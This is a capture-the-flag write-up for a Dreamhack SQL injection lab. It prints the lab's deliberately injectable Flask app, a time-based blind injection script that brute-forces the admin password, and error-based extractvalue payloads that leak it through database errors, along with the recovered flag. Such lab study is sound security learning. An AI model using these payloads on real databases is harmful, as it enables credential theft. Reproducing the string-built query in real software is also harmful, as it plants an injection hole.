Post

error based sqli

Description

Simple Error Based SQL Injection !

Attached

1
2
3
4
5
6
7
8
9
10
11
12
13
14
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

Analyzation

Look at init.sql, the user table has 3 columns: idx, uid and upw, and flag is admin’s password

1
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');

Our target is to get admin’s password.

Check this function

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template
  • When a GET request is sent, the server will get uid.
  • Then the server will find given uid in database.
  • Then it will send the INPUT uid (not the uid from sql query!) to template to display it.
  • Template will display the query
1
2
3
4
5
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>

So not in-band sqli, but blind sqli will be used in this case.

Solution 1: Time based sqli

The given query is

1
SELECT * FROM user WHERE uid='{uid}';

If we send to the server uid

1
a' OR upw LIKE 'DH%' AND sleep(10) AND '1

Then the query will be

1
SELECT * FROM user WHERE uid='a' OR upw LIKE 'DH%' AND sleep(10) AND '1';
  • If upw is correct, the sleep(10) command will be executed, and it will cost more time to return result.

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string
import time

# dont forget the close curly
ALPHABET = "}" + string.digits + string.ascii_lowercase + string.ascii_uppercase

URL = "http://host3.dreamhack.games:16009/"

flag = "DH{"
flag_guess = "DH{"
payload = "?uid=a' OR upw LIKE '{}' AND sleep(5) AND '1"

while flag[-1] != "}":
    for c in ALPHABET:
        flag_guess = flag + str(c) + "%"
        start_time = time.time()
        response = requests.get(URL + payload.format(flag_guess))
        if time.time() - start_time > 5:
            flag = flag_guess[:-1] # remove "%"
            print(f"--------flag_guess: {flag}-------------")
            break

print(flag)

The flag is

1
DH{c3968c78840750168774ad951fc98bf788563c4d}

Solution 2: Error based sqli

Check main function

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template

In previous solution, we had checked the execute query command

1
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")

This time, we will focus on the error-handle line

1
2
except Exception as e:
    return str(e)

So our target is to include the password in that error message.

Firstly, we have to make sure it works.

Check syntax

1
'--

It doesnot work

1
(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")

Check syntax

1
';--

It works!

Now we go to the main part.

The given query is

1
SELECT * FROM user WHERE uid='{uid}';

If we send to the server uid

1
' or extractvalue(1,concat(0x3a,(select upw from user where uid='admin')));--

Then the query will be

1
SELECT * FROM user WHERE uid='' or extractvalue(1,concat(0x3a,(select upw from user where uid='admin')));--';
  • Firstly the SELECT command will be executed
    1
    
    select upw from user where uid='admin'
    

    and returns password, for example, “DH{fake_flag}”.

  • Then concat()
    1
    
    concat(0x3a,"DH{fake_flag}")
    

    returns ":DH{fake_flag}"

  • Then extractvalue()
    1
    
    extractvalue(1, ":DH{fake_flag}")
    

It will return “:DH{fake_flag}” in an error message.

Payload

1
' or extractvalue(1,concat(0x3a,(substr((select upw from user where uid='admin'),1,20))));--

and

1
' or extractvalue(1,concat(0x3a,(substr((select upw from user where uid='admin'),21,40))));--

The flag is

1
DH{c3968c78840750168774ad951fc98bf788563c4d}
This post is licensed under CC BY 4.0 by the author.